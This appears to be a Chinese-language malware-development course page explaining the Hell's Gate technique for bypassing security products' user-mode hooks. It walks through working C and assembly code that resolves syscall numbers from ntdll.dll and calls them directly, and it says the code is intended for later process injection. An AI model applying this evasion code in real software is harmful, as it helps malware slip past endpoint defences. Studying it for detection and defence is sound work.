跳至主要內容

66-系统调用 - 地狱之门

Maldevacademy大约 7 分钟安全开发

介绍

请回忆一下,使用直接系统调用是一种绕过用户空间挂钩的方式,通过手动执行系统调用的汇编指令来实现。Hell's Gate是另一种用于执行直接系统调用的技术。通过读取ntdll.dll,Hell's Gate可以动态地找到系统调用,然后从二进制文件中执行它们。

Hell's Gate论文可以在这里open in new window获得。

Hell's Gate 的工作原理

之前的模块使用 SysWhispers 展示了直接的系统调用。SSN 要么是硬编码的,要么使用按系统调用地址排序的方法在运行时找到 SSN。另一方面,Hell's Gate 使用不同的方法来寻找 SSN。

Hell's Gate 的方法是从被劫持的系统调用的操作码中搜索 SSN,然后在它的汇编函数中调用。

地狱之门的细分

为了便于理解,代码的复杂性需要细分为较小的子部分进行讲解。

系统调用结构

Hell's Gate 代码首先定义 VX_TABLE_ENTRYopen in new window 结构。此结构表示一个系统调用,其中包含地址、系统调用名称的哈希值和 SSN。结构如下所示。

typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;             // 系统调用函数的地址
    DWORD64 dwHash;               // 系统调用名称的哈希值
    WORD    wSystemCall;          // 系统调用的 SSN
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

例如,NtAllocateVirtualMemory 将表示为 VX_TABLE_ENTRY NtAllocateVirtualMemory

系统调用表

程序正在使用的系统调用保存在另一个结构 VX_TABLEopen in new window 中。由于 VX_TABLE 中的每个成员都是系统调用,因此每个成员都属于 VX_TABLE_ENTRY 类型。

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory; // NtAllocateVirtualMemory 系统调用
	VX_TABLE_ENTRY NtProtectVirtualMemory; // NtProtectVirtualMemory 系统调用
	VX_TABLE_ENTRY NtCreateThreadEx; // NtCreateThreadEx 系统调用
	VX_TABLE_ENTRY NtWaitForSingleObject; // NtWaitForSingleObject 系统调用
} VX_TABLE, * PVX_TABLE;

主函数

主函数首先调用了 [RtlGetThreadEnvironmentBlock](https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L50) 函数来获取 TEB。这是必须的,以便通过 PEB 来获取 ntdll.dll 的基址(回想一下,PEB 位于 TEB 之内)。接下来,使用 [GetImageExportDirectory](https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L60) 获取 ntdll.dll 的导出目录。导出目录是通过解析 DOSNt 头部找到的,正如之前的模块中所展示的那样。

接着,针对每个系统调用,dwHash 成员(例如 NtAllocateVirtualMemory.dwHash)被初始化为其对应的哈希值。每次初始化时,都会调用 [GetVxTableEntry](https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L65) 函数,如下所示。该函数已分成几部分,以简化解释过程。

GetVxTableEntry - 第 1 部分

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
	PDWORD pdwAddressOfFunctions    = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
	PDWORD pdwAddressOfNames        = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
	PWORD pwAddressOfNameOrdinales  = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

	for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
		PCHAR pczFunctionName  = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
		PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

		if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
			pVxTableEntry->pAddress = pFunctionAddress;

			// ...
		}
	}

	return TRUE;
}

该函数的第一部分搜索等于系统调用哈希值 pVxTableEntry->dwHash 的 Djb2 哈希值。一旦匹配,系统调用的地址将被保存到 pVxTableEntry->pAddress。该函数的第二部分是 Hell's Gate 技巧所在。

GetVxTableEntry - 第 2 部分

			// 如果函数已被挂钩,采用快速而简陋的修复方法
			WORD cw = 0;
			while (TRUE) {
				// 检查系统调用,在这种情况下,我们走得太远了
				if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
					return FALSE;

				// 检查 ret,在这种情况下,我们也可能走得太远
				if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
					return FALSE;

				// 第一个操作码应该是:
				//    MOV R10, RCX
				//    MOV EAX, <syscall>
				if (*((PBYTE)pFunctionAddress + cw) == 0x4c
					&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
					&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
					&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
					&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
					&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
					BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
					BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
					pVxTableEntry->wSystemCall = (high << 8) | low;
					break;
				}

				cw++;
			};

找到系统调用地址 pFunctionAddress 后,第二部分从 while 循环开始。while 循环搜索 0x4c, 0x8b, 0xd1, 0xb8 字节,它们是 mov r10, rcxmov eax, ssn 的操作码,是未挂钩系统调用的开始。

如果系统调用被挂钩,则操作码可能由于安全解决方案在 syscall 指令之前添加挂钩而无法匹配。为解决这个问题,Hell's Gate 尝试匹配操作码,如果未找到匹配项,则递增 cw 变量,这会在后续的循环迭代中增加系统调用的地址。这个过程继续进行,每次下降一个字节,直到达到 mov r10, rcxmov eax, ssn 指令。下图说明了 Hell's Gate 如何通过遍历挂钩来找到操作码。

image
image

边界检查

为了防止搜索过远而获取到不同系统调用的 SSN,在 while 循环的开始处使用了两个 if 语句来检查位于系统调用末尾的 syscallret 指令。如果搜索到达这些指令之一,并且没有识别出 0x4c, 0x8b, 0xd1, 0xb8 操作码,则 SSN 的解析将失败。

// 检查是否为 syscall,如果为 syscall,则我们搜索过远了
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
	return FALSE;

// 检查是否为 ret,如果为 ret,则我们也搜索过远了
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
	return FALSE;

计算和保存 SSN

另一方面,如果成功匹配到操作码,Hell's Gate 就会计算系统调用编号,并将其存储在 pVxTableEntry->wSystemCall。不必理解计算过程,因为这需要了解位运算符的知识,但是熟悉此概念的人可以继续阅读本节。

该函数首先使用左移运算符 (<<) 将 high 变量的位向左移移 8 位。然后,它使用按位 OR 运算符 (|) 将第一个操作数(即 high << 8)的每个位与第二个操作数(即 low)的相应位进行比较。

pVxTableEntry->wSystemCall = (high << 8) | low;

为了更好地理解这一点,下面是一个使用 NtProtectVirtualMemory 系统调用演示 Hell's Gate 计算 SSN 方法的示例。

Image
Image

上图简化为以下代码段。

00007FFCC42C4570 | 4C:8BD1                          | mov r10,rcx                                    |
00007FFCC42C4573 | B8 50000000                      | mov eax,50                                     | 50:'P'
00007FFCC42C4582 | 0F05                             | syscall                                        |
00007FFCC42C4584 | C3                               | ret                                            |

4C:8BD1 B8 50000000 字节对应以下偏移量:

4C 是偏移量 0,8B 是偏移量 1,D1 是偏移量 2,B8 是偏移量 3,50 是偏移量 4,00 是偏移量 5,依此类推。GetVxTableEntry 函数指定 highlow 变量的偏移量分别为 5 和 4。

BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); // 偏移量 5
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); // 偏移量 4

检查偏移量 5 处的数值,发现它为 0x00,而偏移量 4 处的数值为 0x50。这意味着 high 的值为 0x00low 的值为 0x50。因此,SSN 等于 (0x00 << 8) | 0x50

Image
Image

按位运算的结果与 NtProtectVirtualMemory 的 SSN 编号相匹配,十六进制为 50。

Image
Image

调用系统调用

在 Hells Gate 完全初始化目标系统调用的 VX_TABLE_ENTRY 结构后,便可对其进行调用。为此,Hells Gate 使用两个 64 位汇编函数:HellsGateHellDescent,这两个函数在 hellsgate.asmopen in new window 文件中展示。

数据段
	wSystemCall DWORD 000h              ;这是一个全局变量,用于保存系统调用的 SSN

代码段
	HellsGate PROC
		mov wSystemCall, 000h		
		mov wSystemCall, ecx            ;使用输入参数(ecx 寄存器值)更新“wSystemCall”变量
		ret
	HellsGate ENDP

	HellDescent PROC
		mov r10, rcx
		mov eax, wSystemCall            ;`wSystemCall` 是要调用的系统调用的 SSN
		syscall
		ret
	HellDescent ENDP
结束

要调用系统调用,首先,需要将系统调用号传给 HellsGate 函数。这会将其保存到 wSystemCall 全局变量中以备将来使用。接下来,使用 HellDescent 通过传入系统调用的参数来调用系统调用。这在 Payloadopen in new window 函数中演示。

结论

事实证明,通过使用直接系统调用、SysWhispers 工具和地狱之门技术,可以绕过用户空间钩子。在后续模块中,先前实现的进程注入技术将被修改为利用系统调用而不是 WinAPI。